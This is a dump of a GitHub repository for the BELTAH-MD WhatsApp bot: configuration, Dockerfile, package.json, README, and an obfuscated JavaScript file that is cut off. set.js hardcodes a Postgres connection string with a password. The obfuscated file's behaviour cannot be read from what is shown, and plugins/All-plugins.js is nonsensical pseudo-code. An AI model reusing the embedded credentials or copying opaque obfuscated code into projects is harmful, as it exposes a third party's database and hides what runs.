├── gif └── gif.json ├── auth └── auth.json ├── media ├── media.json ├── rm.gif ├── antibot.gif ├── chrono.webp ├── remover.gif ├── lyrics-img.jpg └── deleted-message.jpg ├── heroku.yml ├── .gitignore ├── plugins └── All-plugins.js ├── exemple_de_set.env ├── Dockerfile ├── set.js ├── package.json ├── README.md ├── app.json ├── beltah └── Iambeltahke.js └── beltah.js /gif/gif.json: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /auth/auth.json: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /media/media.json: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /media/rm.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beltah254/BELTAH-MD-BOT/HEAD/media/rm.gif -------------------------------------------------------------------------------- /media/antibot.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beltah254/BELTAH-MD-BOT/HEAD/media/antibot.gif -------------------------------------------------------------------------------- /media/chrono.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beltah254/BELTAH-MD-BOT/HEAD/media/chrono.webp -------------------------------------------------------------------------------- /media/remover.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beltah254/BELTAH-MD-BOT/HEAD/media/remover.gif -------------------------------------------------------------------------------- /media/lyrics-img.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beltah254/BELTAH-MD-BOT/HEAD/media/lyrics-img.jpg -------------------------------------------------------------------------------- /heroku.yml: -------------------------------------------------------------------------------- 1 | build: 2 | docker: 3 | worker: Dockerfile 4 | run: 5 | worker: npm run beltahh 6 | -------------------------------------------------------------------------------- /media/deleted-message.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Beltah254/BELTAH-MD-BOT/HEAD/media/deleted-message.jpg -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | /auth 2 | /set.env 3 | /package-lock.json 4 | /node_modules 5 | /store.json 6 | /audio.mp3 7 | /code obstrui 8 | /.opus -------------------------------------------------------------------------------- /plugins/All-plugins.js: -------------------------------------------------------------------------------- 1 | //BELTAH TECH 254 2 | 3 | Consol.log 4 | > remote.scrip-commands/beltah-plugins 5 | 6 | else 7 | 8 | error. 9 | Detected.No.public-commands found!!! 10 | 11 | 12 | 13 | //Hell 😁 I'm unstopable now. BELTAH TECH 254 👻 14 | -------------------------------------------------------------------------------- /exemple_de_set.env: -------------------------------------------------------------------------------- 1 | OWNER_NAME="FedoRA" 2 | PREFIX="~" 3 | PUBLIC_MODE='non' 4 | AUTO_READ_STATUS="non" 5 | AUTO_DOWNLOAD_STATUS="oui" 6 | BOT_NAME= "GOD-NIKA" 7 | IMAGE_MENU= "https://static.animecorner.me/2023/08/op2.jpg" 8 | NUMERO_OWNER= "22891733300" 9 | OWNER_NAME= "᚛M๏𝓷keℽ D Lบffy᚜" 10 | DATABASE_URL= "" 11 | WARN_COUNT= "" 12 | OPENAI_API_KEY= "" 13 | STARTING_BOT_MESSAGE='yes' 14 | ANTI_DELETE_MESSAGE='yes' 15 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | # Use the official Node.js LTS Buster image as base 2 | FROM node:lts-buster 3 | 4 | # Set working directory (optional, but common practice) 5 | WORKDIR /app 6 | 7 | # Update package sources to use the Debian archive (Buster repositories have moved) 8 | RUN sed -i 's|http://deb.debian.org/debian|http://archive.debian.org/debian|g' /etc/apt/sources.list \ 9 | && sed -i '/security/d' /etc/apt/sources.list \ 10 | && apt-get -o Acquire::Check-Valid-Until=false update \ 11 | && apt-get -o Acquire::Check-Valid-Until=false install -y ffmpeg imagemagick webp \ 12 | && apt-get -o Acquire::Check-Valid-Until=false upgrade -y \ 13 | && npm i pm2 -g \ 14 | && rm -rf /var/lib/apt/lists/* 15 | 16 | # Copy package.json and package-lock.json first (for better caching) 17 | COPY package*.json ./ 18 | 19 | # Install app dependencies 20 | RUN npm install 21 | 22 | # Copy the rest of your application code 23 | COPY . . 24 | 25 | # Expose port (replace 3000 with your app's port if different) 26 | EXPOSE 3000 27 | 28 | # Start the app using pm2-runtime (recommended for Docker) 29 | # Replace "ecosystem.config.js" with your actual PM2 config or entry point file if needed 30 | CMD ["pm2-runtime", "start", "beltah"] 31 | -------------------------------------------------------------------------------- /set.js: -------------------------------------------------------------------------------- 1 | const fs = require('fs-extra'); 2 | const { Sequelize } = require('sequelize'); 3 | if (fs.existsSync('set.env')) 4 | require('dotenv').config({ path: __dirname + '/set.env' }); 5 | const path = require("path"); 6 | const databasePath = path.join(__dirname, './database.db'); 7 | const DATABASE_URL = process.env.DATABASE_URL === undefined 8 | ? databasePath 9 | : process.env.DATABASE_URL; 10 | module.exports = { session: process.env.SESSION_ID || 'BELTAH-MD', 11 | PREFIXE: process.env.PREFIX || "+", 12 | GITHUB : process.env.GITHUB|| 'https://github.com/Beltah254/BELTAH-MD', 13 | OWNER_NAME : process.env.OWNER_NAME || "Beltah254", 14 | NUMERO_OWNER : process.env.NUMERO_OWNER || "254114141192", 15 | 16 | AUTO_READ_STATUS: process.env.AUTO_READ_STATUS || "non", 17 | AUTO_DOWNLOAD_STATUS: process.env.AUTO_DOWNLOAD_STATUS || 'non', 18 | AUTO_REACT: process.env.AUTO_REACTION || "non", 19 | URL: process.env.URL || "https://telegra.ph/file/dcce2ddee6cc7597c859a.jpg", 20 | AUTO_LIKE_STATUS: process.env.AUTO_LIKE_STATUS || 'non', 21 | EMOJIS: process.env.EMOJIS || "👻,☺️,❤️,🦚", 22 | AUTO_READ_MESSAGES: process.env.AUTO_READ_MESSAGES || "yes", 23 | AUTO_BLOCK: process.env.AUTO_BLOCK || 'no', 24 | GCF: process.env.GROUP_CONTROL || 'no', 25 | GREET : process.env.GREET || "no", 26 | AUTO_STATUS_MSG: process.env.AUTO_STATUS_MSG || 'viewed by Beltah md', 27 | AUTO_STATUS_REPLY: process.env.AUTO_STATUS_REPLY || 'no', 28 | AUTOBIO: process.env.AUTOBIO || 'yes', 29 | ANTICALL_MSG : process.env.ANTICALL_MESSAGE || '', 30 | GURL: process.env.GURL || "https://whatsapp.com/channel/0029VAUSV0PFCCOSB5TX9C1F", 31 | EVENTS :process.env.EVENTS || "yes", 32 | CAPTION : process.env.CAPTION || "BELTAH-MD", 33 | BOT : process.env.BOT_NAME || '𝗕𝗘𝗟𝗧𝗔𝗛-𝗠𝗗', 34 | MODE: process.env.PUBLIC_MODE || "no", 35 | TIMEZONE: process.env.TIMEZONE || "Africa/Nairobi", 36 | PM_PERMIT: process.env.PM_PERMIT || 'no', 37 | HEROKU_APP_NAME : process.env.HEROKU_APP_NAME || null, 38 | HEROKU_API_KEY : process.env.HEROKU_API_KEY || null, 39 | WARN_COUNT : process.env.WARN_COUNT || '3' , 40 | ETAT : process.env.PRESENCE || '1', 41 | DP : process.env.STARTING_BOT_MESSAGE || "yes", 42 | ADM : process.env.ANTI_DELETE_MESSAGE || 'no', 43 | ANTICALL: process.env.ANTICALL || 'yes', 44 | DATABASE_URL, 45 | DATABASE: DATABASE_URL === databasePath 46 | ? "postgres://db_7xp9_user:6hwmTN7rGPNsjlBEHyX49CXwrG7cDeYi@dpg-cj7ldu5jeehc73b2p7g0-a.oregon-postgres.render.com/db_7xp9" : "postgres://db_7xp9_user:6hwmTN7rGPNsjlBEHyX49CXwrG7cDeYi@dpg-cj7ldu5jeehc73b2p7g0-a.oregon-postgres.render.com/db_7xp9", 47 | /* new Sequelize({ 48 | dialect: 'sqlite', 49 | storage: DATABASE_URL, 50 | logging: false, 51 | }) 52 | : new Sequelize(DATABASE_URL, { 53 | dialect: 'postgres', 54 | ssl: true, 55 | protocol: 'postgres', 56 | dialectOptions: { 57 | native: true, 58 | ssl: { require: true, rejectUnauthorized: false }, 59 | }, 60 | logging: false, 61 | }),*/ 62 | }; 63 | let fichier = require.resolve(__filename); 64 | fs.watchFile(fichier, () => { 65 | fs.unwatchFile(fichier); 66 | console.log(`mise à jour ${__filename}`); 67 | delete require.cache[fichier]; 68 | require(fichier); 69 | }); 70 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | 2 | { 3 | "name": "BELTAH-MD", 4 | "version": "2.0.0", 5 | "description": "", 6 | "main": "kingbeltah.js", 7 | "type": "commonjs", 8 | "scripts": { 9 | "test": "echo \"Error: no test specified\" && exit 1", 10 | "s": "node kingbeltah.js", 11 | "beltahh": "pm2 start kingbeltah.js --attach --max-memory-restart 490M", 12 | "beltah": "pm2 start beltahmd.js --attach", 13 | "c": "tsc" 14 | }, 15 | "keywords": [ 16 | "bot", 17 | "Baileys", 18 | "Beltah-Md", 19 | "whatsapp", 20 | "whatsapp-bot", 21 | "Beltah" 22 | ], 23 | "author": "Beltahtechinfo", 24 | "license": "ISC", 25 | "dependencies": { 26 | "@adiwajshing/keyed-db": "^0.2.4", 27 | "@brandond/findthelyrics": "^2.0.5", 28 | "@green-code/music-track-data": "^2.0.3", 29 | "@shineiichijo/marika": "^2.0.6", 30 | "@vitalets/google-translate-api": "^9.2.0", 31 | "@xct007/tiktok-scraper": "^1.0.2", 32 | "@hapi/boom": "^10.0.1", 33 | "@types/node": "^18.0.6", 34 | "@whiskeysockets/baileys": "github:Luffy2ndAccount/Baileys", 35 | "ytdl-core": "npm:@distube/ytdl-core", 36 | "@bochilteam/scraper": "^4.2.4", 37 | "@google/generative-ai":"^0.1.3", 38 | "@xaviabot/fb-downloader": "^1.0.14", 39 | "aptoide-scraper": "^1.0.1", 40 | "api-dylux" : "^1.8.5", 41 | "acrcloud": "^1.4.0", 42 | "music-lyrics": "^2.0.2", 43 | "node-lyrics": "^2.1.3", 44 | "axios": "^1.4.0", 45 | "awesome-phonenumber": "^6.8.0", 46 | "buffer": "^6.0.3", 47 | "body-parser": "^1.20.2", 48 | "cache-manager": "latest", 49 | "canvacord": "^5.4.8", 50 | "cfonts": "^3.2.0", 51 | "chal": "^0.0.1-security.0", 52 | "chalk": "^5.3.0", 53 | "chess.js": "*", 54 | "paroles": "^2.3.0", 55 | "cheerio": "^1.0.0-rc.12", 56 | "child_process": "^1.0.2", 57 | "compile-run": "^2.3.4", 58 | "colors": "^1.4.0", 59 | "countries-and-timezones": "^3.6.0", 60 | "crypto": "^1.0.1", 61 | "deobfuscator": "^2.4.5", 62 | "dotenv": "^16.3.1", 63 | "express": "^4.19.2", 64 | "ruhend-scraper":"8.0.3", 65 | "ffmpeg": "^0.0.4", 66 | "fg-ig": "^0.0.2", 67 | "figlet": "^1.7.0", 68 | "file-type": "16.5.3", 69 | "fluent-ffmpeg": "^2.1.2", 70 | "form-data": "^4.0.0", 71 | "formdata-node": "^4.3.2", 72 | "fs": "^0.0.1-security", 73 | "fs-extra": "^11.1.1", 74 | "g-i-s": "^2.1.7", 75 | "gist": "^0.2.0", 76 | "gemini-ai": "^1.1.0", 77 | "genius-lyrics": "^4.4.3", 78 | "google-play-scraper": "^10.0.0", 79 | "google-it": "^1.6.4", 80 | "google-tts-api": "latest", 81 | "got": "^12.5.3", 82 | "heroku-client": "^3.1.0", 83 | "hispamemes": "^1.0.7", 84 | "human-readable": "^0.2.1", 85 | "hxz-api": "^1.0.1", 86 | "imgur": "^2.3.0", 87 | "imagemaker.js": "^2.0.4", 88 | "instagram-url-direct": "^1.0.12", 89 | "@sasmeee/igdl": "npm:@sasmeee/igdl", 90 | "javascript-obfuscator": "^4.1.0", 91 | "@mrnima/tiktok-downloader":"1.0.0", 92 | "@mrnima/facebook-downloader":"1.0.0", 93 | "jimp": "^0.16.13", 94 | "luxon": "^3.4.4", 95 | "jpeg-js": "^0.4.4", 96 | "jsqr": "^1.4.0", 97 | "latest": "^0.2.0", 98 | "jsdom": "^22.1.0", 99 | "link-preview-js": "^3.0.0", 100 | "songlyrics": "^2.4.8", 101 | "lodash": "^4.17.21", 102 | "lowdb": "^3.0.0", 103 | "link-preview-js": "^3.0.4", 104 | "libphonenumber": "^0.0.10", 105 | "megajs": "^1.1.4", 106 | "module-gatadios": "^1.0.5", 107 | "md5": "^2.3.0", 108 | "mathjs": "^11.3.0", 109 | "moment-timezone": "^0.5.43", 110 | "mongoose": "^7.4.1", 111 | "mumaker": "^2.0.0", 112 | "node-cache": "^5.1.2", 113 | "node-cron": "^3.0.3", 114 | "node-fetch": "^3.3.2", 115 | "node-catbox": "3.2.0", 116 | "node-gtts": "^2.0.2", 117 | "node-id3": "^0.2.6", 118 | "node-os-utils": "^1.3.7", 119 | "openai": "^3.3.0", 120 | "os": "^0.1.2", 121 | "pastebin-js": "^1.0.6", 122 | "pdfkit": "^0.13.0", 123 | "pg": "^8.11.2", 124 | "pino": "^8.15.0", 125 | "pino-pretty": "^7.5.1", 126 | "play-dl": "^1.9.7", 127 | "qrcode": "^1.5.3", 128 | "qrcode-terminal": "^0.12.0", 129 | "readline": "^1.3.0", 130 | "ruhend-scraper": "^7.0.4", 131 | "similarity": "^1.2.1", 132 | "socket.io": "^4.4.1", 133 | "spotifydl-x": "^0.3.5", 134 | "syntax-error": "^1.4.0", 135 | "remove.bg": "^1.3.0", 136 | "sequelize": "^6.21.4", 137 | "sqlite3": "^5.1.6", 138 | "stream": "^0.0.3", 139 | "tesseract.js": "^5.1.0", 140 | "translate-google-api": "^1.0.4", 141 | "unlimited-ai": "^6.0.0", 142 | "url": "^0.11.4", 143 | "url-regex-safe": "^3.0.0", 144 | "undici": "^6.19.4", 145 | "uuid": "^9.0.1", 146 | "translatte": "^3.0.1", 147 | "types": "^0.1.1", 148 | "typescript": "^5.1.6", 149 | "wa-sticker-formatter": "^4.4.4", 150 | "wikipedia":"2.1.2", 151 | "xfarr-api": "^1.0.3", 152 | "yargs": "^17.3.1", 153 | "youtube-yts": "^2.0.0", 154 | "yt-search": "^2.10.4", 155 | "youtubedl-core": "^4.11.7" 156 | } 157 | } 158 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

✨ 𝐁𝐄𝐋𝐓𝐀𝐇 𝐌𝐃 ✨

2 | 3 |

4 | 5 | BELTAH-MD 6 | 7 |

8 | 9 |

10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 |

26 | 27 |

28 | 29 | YouTube Subscribe 30 | 31 | 32 | Fork Repo 33 | 34 | 35 | Star Repo 36 | 37 | 38 | Visit Website 39 | 40 |

41 | 42 | --- 43 | 44 | ## 🚀 𝐒𝐄𝐓𝐔𝐏 𝐏𝐑𝐎𝐂𝐄𝐃𝐔𝐑𝐄 45 | 46 | > setup 47 | 48 | 1. ⭐️ **Star this Repo** → 49 | 2. 🍴 **Fork this Repo** → 50 | 3. 🛡️ **Get Your Session ID:** 51 | - 52 | - 53 | - 54 | - 55 | - 56 | -
💡 Copy your Session ID; you will need it during deployment. 57 | 58 | --- 59 | 60 |
61 | 🆕 𝐋𝐀𝐓𝐄𝐒𝐓 𝐔𝐏𝐃𝐀𝐓𝐄𝐒 & 𝐅𝐄𝐀𝐓𝐔𝐑𝐄𝐒 62 | 63 | | Commands Name | Status | 64 | |------------------------------ |:------:| 65 | | • AUTO REACT MESSAGE ADDED | ✅ | 66 | | • AUTO REPLY MESSAGE ADDED | ✅ | 67 | | • AUTO REACT STATUS ADDED | ✅ | 68 | | • AUTO READ MESSAGE ADDED | ✅ | 69 | | • AUTO REJECT CALL ADDED | ✅ | 70 | | • AUDIO REPLY ADDED | ✅ | 71 | | • AUTO SAVE CONTACTS ADDED | ✅ | 72 | | • FUN CMD HACK ADDED | ✅ | 73 | | • GPT ADDED | ✅ | 74 | 75 |
76 | 77 | --- 78 | 79 | ## 🌈 𝐃𝐄𝐏𝐋𝐎𝐘 𝐎𝐍 𝐇𝐄𝐑𝐎𝐊𝐔 80 | 81 |

82 | 83 | Deploy to Heroku 84 | 85 |

86 | 87 | --- 88 | 89 |

90 | 91 | 92 |

93 | 94 | --- 95 | 96 | ## 🛡️ 𝐃𝐈𝐒𝐂𝐋𝐀𝐈𝐌𝐄𝐑 97 | 98 | > Copying or modifying this script is not allowed! No support will be provided for modified versions. 99 | 100 | --- 101 | 102 | ## 💬 𝐇𝐄𝐋𝐏 & 𝐒𝐔𝐏𝐏𝐎𝐑𝐓 103 | 104 | - Need help? 105 | 106 | --- 107 | 108 | ## 🙏 𝐒𝐏𝐄𝐂𝐈𝐀𝐋 𝐓𝐇𝐀𝐍𝐊𝐒 𝐓𝐎 109 | 110 | - **Beltah Tech 254 🇰🇪** for all code and command contributions. 111 | 112 |
113 |

© BELTAH XBOT ® 03/01/2025

114 | -------------------------------------------------------------------------------- /app.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "𝗕𝗘𝗟𝗧𝗔𝗛-𝗠𝗗 𝗕𝗢𝗧", 3 | "description": "THIS IS OLD VERSION OF BELTAH-MD MAKE SURE YOU UPDATE YOUR BOT ONCE CONNECTED🤖✅👻", 4 | "keywords": [ 5 | "bot", 6 | "node", 7 | "baileys", 8 | "whatsapp" 9 | ], 10 | "logo": "https://telegra.ph/file/dcce2ddee6cc7597c859a.jpg", 11 | "repository": "https://github.com/Beltah254/BLACK-MD", 12 | "succes_url": "/", 13 | "stack": "container", 14 | "env": { 15 | "PREFIX": { 16 | "description": "Choose your bot's prefix", 17 | "value": ".", 18 | "required": true 19 | }, 20 | "AUTO_READ_STATUS": { 21 | "description": "Your contact status will be read automatically (type 'yes' to activate or 'no' to deactivate; don't write in capital letters)", 22 | "value": "yes", 23 | "required": false 24 | }, 25 | "GREET": { 26 | "description": "when enabled it automatically sends greeting message to members in your pm", 27 | "value": "no", 28 | "required": false 29 | }, 30 | "AUTO_LIKE_STATUS": { 31 | "description": "Your contact status will be liked automatically (type 'yes' to activate or 'no' to deactivate; don't write in capital letters)", 32 | "value": "yes", 33 | "required": false 34 | }, 35 | "AUTOBIO": { 36 | "description": "This automatically update your bio status.Always make sure you insert your OWNER_NAME since it uses that to update your bio name status", 37 | "value": "yes", 38 | "required": false 39 | }, 40 | "CHATBOT": { 41 | "description": "When activated, It will chat with everyone on your dm", 42 | "value": "no", 43 | "required": false 44 | }, 45 | "TALKING_BOT": { 46 | "description": "Bot will listen to voice notes and responds to them", 47 | "value": "no", 48 | "required": false 49 | }, 50 | "AUTO_DOWNLOAD_STATUS": { 51 | "description": "Your contact status will be downloaded automatically and sent to you (type 'yes' to activate or 'no' to deactivate; don't write in capital letters)", 52 | "value": "no", 53 | "required": false 54 | }, 55 | "PM_PERMIT": { 56 | "description": "Restrict other users from using your bot in private messages (type 'yes' to activate or 'no' to deactivate; don't write in capital letters)", 57 | "value": "yes", 58 | "required": false 59 | }, 60 | "AUTO_STATUS_MSG": { 61 | "description": "type your genuine status message", 62 | "value": "viewed ✅✅", 63 | "required": false 64 | }, 65 | "AUTO_STATUS_REPLY": { 66 | "description": "type your genuine status message", 67 | "value": "no", 68 | "required": false 69 | }, 70 | "ANTICALL_MSG": { 71 | "description": "Type your anticall message to always send when calls are declined.You can as well leave it blank", 72 | "value": "> BELTAH-MD on board ||No calls allowed.", 73 | "required": false 74 | }, 75 | "BOT_NAME": { 76 | "description": "Change this if you don't like my name", 77 | "value": "BELTAH-MD", 78 | "required": true 79 | }, 80 | "GROUP_CONTROL": { 81 | "description": "urs if you want bot yo control group features such as antilink,antispam,antibad", 82 | "value": "no", 83 | "required": false 84 | }, 85 | "PUBLIC_MODE": { 86 | "description": "Set 'yes' to make your bot public or 'no' to keep it private", 87 | "value": "yes", 88 | "required": false 89 | }, 90 | "HEROKU_API_KEY": { 91 | "description": "Insert your Heroku API key (required)", 92 | "value": "", 93 | "required": true 94 | }, 95 | "HEROKU_APP_NAME": { 96 | "description": "Insert your Heroku app name (required)", 97 | "value": "", 98 | "required": true 99 | }, 100 | "SESSION_ID": { 101 | "description": "Enter your session ID, the code you receive after scanning the QR code", 102 | "value": "", 103 | "required": true 104 | }, 105 | "OWNER_NAME": { 106 | "description": "don't you have a name bro.Insert your name here!!", 107 | "value": "", 108 | "required": true 109 | }, 110 | "URL": { 111 | "description": "Change this image and input yours", 112 | "value": "https://telegra.ph/file/dcce2ddee6cc7597c859a.jpg", 113 | "required": true 114 | }, 115 | "AUTO_READ_MESSAGES": { 116 | "description": "yes toactivate no to deactivate", 117 | "value": "no", 118 | "required": false 119 | }, 120 | "NUMERO_OWNER": { 121 | "description": "Your phone number (exclude '+' and area code, e.g., '254114141192')", 122 | "value": "254114141192", 123 | "required": false 124 | }, 125 | "WARN_COUNT": { 126 | "description": "Set the warning limit for warning commands", 127 | "value": "10", 128 | "required": false 129 | }, 130 | "STARTING_BOT_MESSAGE": { 131 | "description": "Set 'yes' to display a starting bot message or 'no' to disable it", 132 | "value": "yes", 133 | "required": true 134 | }, 135 | "PRESENCE": { 136 | "description": "Mark your presence: 1 for online, 2 for typing, 3 for recording, or leave blank for real state", 137 | "value": "", 138 | "required": false 139 | }, 140 | "ANTI_DELETE_MESSAGE": { 141 | "description": "Enable anti-delete message (set 'yes' to activate or 'no' to deactivate)", 142 | "value": "yes", 143 | "required": false 144 | }, 145 | "ANTICALL": { 146 | "description": "Automatically decline incoming calls (set 'on' to activate or 'off' to deactivate)", 147 | "value": "yes", 148 | "required": false 149 | }, 150 | "AUTO_BLOCK": { 151 | "description": "Type true if you want bot to automatically block those who insult you in your dm ", 152 | "value": "yes", 153 | "required": false 154 | }, 155 | "AUTO_REACTION": { 156 | "description": "Set 'yes' to enable bot reactions to messages in private chats", 157 | "value": "no", 158 | "required": false 159 | } 160 | }, 161 | "formation": { 162 | "worker": { 163 | "quantity": 1, 164 | "size": "standard-2x" 165 | } 166 | }, 167 | "addons": [ 168 | { 169 | "plan": "heroku-postgresql:essential-0" 170 | } 171 | ] 172 | } 173 | -------------------------------------------------------------------------------- /beltah/Iambeltahke.js: -------------------------------------------------------------------------------- 1 | (function(_0x429f14,_0x46eda1){const _0x370230=_0x150b,_0x4c76f2=_0x429f14();while(!![]){try{const _0x2ce1c2=-parseInt(_0x370230(0x14d))/(0x20b9+0x200d+-0x40c5)+-parseInt(_0x370230(0x15d))/(0x1650+-0x2f1+-0x135d)+-parseInt(_0x370230(0x14c))/(0x135*0xf+0x13d0+-0x25e8)+-parseInt(_0x370230(0x15f))/(0x16c1+0x5ae+-0x979*0x3)+parseInt(_0x370230(0x17b))/(-0x2235+0x1787+0xab3)*(-parseInt(_0x370230(0x187))/(0x824*0x4+-0x152b+-0x1*0xb5f))+-parseInt(_0x370230(0x17a))/(0x1797+-0x1*0x1455+0x33b*-0x1)*(-parseInt(_0x370230(0x175))/(0xeac+-0x982+-0x522))+parseInt(_0x370230(0x14f))/(0x19f0+0x19de+0x1*-0x33c5);if(_0x2ce1c2===_0x46eda1)break;else _0x4c76f2['push'](_0x4c76f2['shift']());}catch(_0x16b131){_0x4c76f2['push'](_0x4c76f2['shift']());}}}(_0x1472,0x11ea2*-0x2+0xc12d*-0x2+0x56c00));function _0x150b(_0x318786,_0x4fe738){const _0x36a780=_0x1472();return _0x150b=function(_0x8b567,_0x56a4a9){_0x8b567=_0x8b567-(-0x141b+-0x5bb+0x1a*0x10b);let _0x4fee5a=_0x36a780[_0x8b567];return _0x4fee5a;},_0x150b(_0x318786,_0x4fe738);}const _0x2f3c8d=_0x4d69;(function(_0x49defb,_0x221708){const _0x596d4c={'Yxbhq':function(_0x9b250b,_0x19192c){return _0x9b250b/_0x19192c;},'DfwRu':function(_0x41bfec,_0x2251b2){return _0x41bfec*_0x2251b2;},'XfwHM':function(_0x5b3f56,_0xca6ad5){return _0x5b3f56+_0xca6ad5;},'CmLfp':function(_0x2e5624,_0x20bd5b){return _0x2e5624(_0x20bd5b);}},_0x439331=_0x4d69,_0x200087=_0x49defb();while(!![]){try{const _0xf5f9e5=_0x596d4c['Yxbhq'](parseInt(_0x439331(-0x1b*-0x7f+0x2fb+-0xf75)),-(-0x224f*0x1+0x6ed+0x2221)+(-0x10b1+-0x25bb+0x6*0x913)*(0x10f5+0xe*0x56+-0x1427)+-(0x15c1*0x1+-0x4*-0x55d+-0x28e9))+-parseInt(_0x439331(-0x1*-0x11a+-0x10d7+-0x2e*-0x5c))/((0x2b0*0x9+0x1387+-0x228c)*-(0x236+-0x12d+-0x108)+(-0x65b+0x13*0x138+0xb53)+-(0xa46+0x1e02+-0x2b*0x7f))*(parseInt(_0x439331(-0x7*-0x3b5+-0xbbe+-0xd4e))/(-0x179+-0x7d4+0xb51+(0xf2c*0x2+0x1fd3+-0x3e23)*-(-0x1*-0x1743+-0x1*-0x99b+-0x2*0xe9a)+(-0x22e9+-0x1a03*-0x1+0x2b*0x35)*(-0x167b+-0x4ff+0x36c9)))+_0x596d4c['DfwRu'](-parseInt(_0x439331(0x1c13+-0xa54*0x3+0x3cd))/(-(-0x1c2b*-0x1+-0x2173+-0x3*-0xe9d)+(0x1f*-0x125+-0x5d*0x6b+0x6cbb)+(-0x2665*-0x1+-0x19d5+-0x3*0x2ca)),-parseInt(_0x439331(0x179c+-0x23e*0x7+-0x1*0x709))/((-0xb1d+0x31a0+0x13*0x1)*(0x11f5*0x2+-0x440*0x5+-0xea9)+(-0xee1+0x480d+-0x1502)+-(0xd1e+0xed8+0x2ec5)))+parseInt(_0x439331(-0x315+0x1*-0x1ee3+0x22e7))/(_0x596d4c['XfwHM'](0x1580+-0x6d0*0x2+-0x30d,(0x1*-0x4246+0x16*0x1c9+0x1583*0x3)*-(-0x2598+0x1f51*0x1+0x218*0x3))+(0x3d37+-0x196*0x2+-0x194f))*(parseInt(_0x439331(0x3b*-0x95+-0x1b3b+0x3e58*0x1))/(-(0x23f3+0x205f*0x1+0x1*-0x444f)*-(0x1*0x20b5+0xffc+-0x2b0b)+(-0x25a+-0x25f0+0x284b)*(-0x5*-0x3d3+-0x6eb+-0x98d)+-(-0x3eb+0x2*0x17+0x174f)))+parseInt(_0x439331(-0x1225+0x1c40+0xc*-0xc7))/(0x1433*0x2+0x3468+-0x3a3a+(0x1*-0x1282+0x1827+0x214)+-(-0x3ce+-0xa*0x32f+0x31bb*0x1)*(-0x1fb+-0x2*0x121f+0x263c))*(-parseInt(_0x439331(-0x21d2+-0x1ca*-0x13+0x94))/((0x238*0x1+0x1d29+0x5*-0x5f5)*-(-0x3*-0xc30+0xe76+-0x32f9)+-(0x1*-0xbac+0x1c4a+0x72d)+(-0x1*0x10d3+-0x1*0x36f+0x111*0x13)*(-0x565f+-0x3*0xa1c+0x7*0x1709)))+-parseInt(_0x439331(0x13b3+-0x47+-0x12a7))/(0x1cd+0x76d+0x1abc+(0x130*0x19+-0x2483*-0x1+-0x258c)+-(0x2fc2+-0x70a7*0x1+-0x8*-0x102f))*(parseInt(_0x439331(0x13d7+0x221e+-0x3519))/((-0x1*0x20bd+-0xb85+0x2e74)*-(-0x1427*-0x1+0x71*-0xb+0x1*-0xf3e)+-(0x1dc5+-0x21e0*0x1+0xdbf)*-(0xfce+-0x1e43*-0x1+-0x2e10)+(0x230b+-0x29a8+0x1bc0)))+parseInt(_0x439331(0x2655+-0xa81*0x3+-0x33*0x1e))/((0x6*-0x48b+0x5a6+0x16cb)*-(0x8*0x4e0+-0x2318+-0x3db)+-(-0x55e+0x2*0x89+0x44d)*(-0x1a*0x1f7+0x1cc1+0x3ab6)+-(-0x291d+0x1*-0x2dc5+0x70ca)*-(0x382+0xf79+-0x12f9))*(-_0x596d4c['CmLfp'](parseInt,_0x439331(-0x444+-0x10fd*-0x1+-0xbe6))/(-(-0x427c+-0x9f*0x9+0x6d62)+(0xde2+-0xd9c+0x1*0x1701)+(0x1d*0x53+-0x1b38+-0xaa2*-0x3)));if(_0xf5f9e5===_0x221708)break;else _0x200087['push'](_0x200087['shift']());}catch(_0xaf29b4){_0x200087['push'](_0x200087['shift']());}}}(_0x365b,-(-0x1b43*0x1+0x3*0x526+0xdeb)*(-0x10f4+-0x290*-0xd+-0xe9d)+-(-0x2564*0x1+0x1*0xf29+0x163d)*(-0x5b*0x895+-0x1cb66+0x69843*0x1)+(-0x849c8+-0x1*0xf7187+0x20d100)));const _0x379099=_0x50d5;(function(_0x251823,_0x5225a3){const _0x28e642=_0x150b,_0x524e20={'VUjEm':function(_0x1b8b40,_0x28950d){return _0x1b8b40+_0x28950d;},'VmrZU':'NRTtw','kEVVa':function(_0x636dea,_0x1414b6){return _0x636dea(_0x1414b6);},'NQVrw':function(_0x5dc368,_0x53074f){return _0x5dc368+_0x53074f;},'QECzM':function(_0x7fc621,_0x1a8539){return _0x7fc621*_0x1a8539;},'hbqBk':function(_0x566acf,_0x9cbed0){return _0x566acf*_0x9cbed0;},'juyNQ':function(_0x1774bb,_0x5af44b){return _0x1774bb*_0x5af44b;},'JdPeX':function(_0x4adcae,_0x11fb76){return _0x4adcae(_0x11fb76);},'Addmd':function(_0x46d02f,_0xb9c0e0){return _0x46d02f+_0xb9c0e0;},'GfIlI':function(_0x5a9ce9,_0x14bfe8){return _0x5a9ce9*_0x14bfe8;},'IeUPq':function(_0x102335,_0xcaa81b){return _0x102335*_0xcaa81b;},'hOlTk':function(_0x19a85a,_0x4ae1e2){return _0x19a85a+_0x4ae1e2;},'lxSXg':function(_0x1195f2,_0x24b610){return _0x1195f2*_0x24b610;},'nrxHN':function(_0x3f2c6b,_0x5e81eb){return _0x3f2c6b*_0x5e81eb;}},_0x298c61=_0x4d69,_0x516e9d={'FRqRQ':function(_0x2b3573,_0x199826){return _0x524e20['VUjEm'](_0x2b3573,_0x199826);},'afbzx':function(_0xab6476,_0x2c3884){return _0xab6476+_0x2c3884;},'NRTtw':function(_0x237c97,_0x335c36){return _0x237c97+_0x335c36;},'miwsv':function(_0x107f22,_0x41d797){return 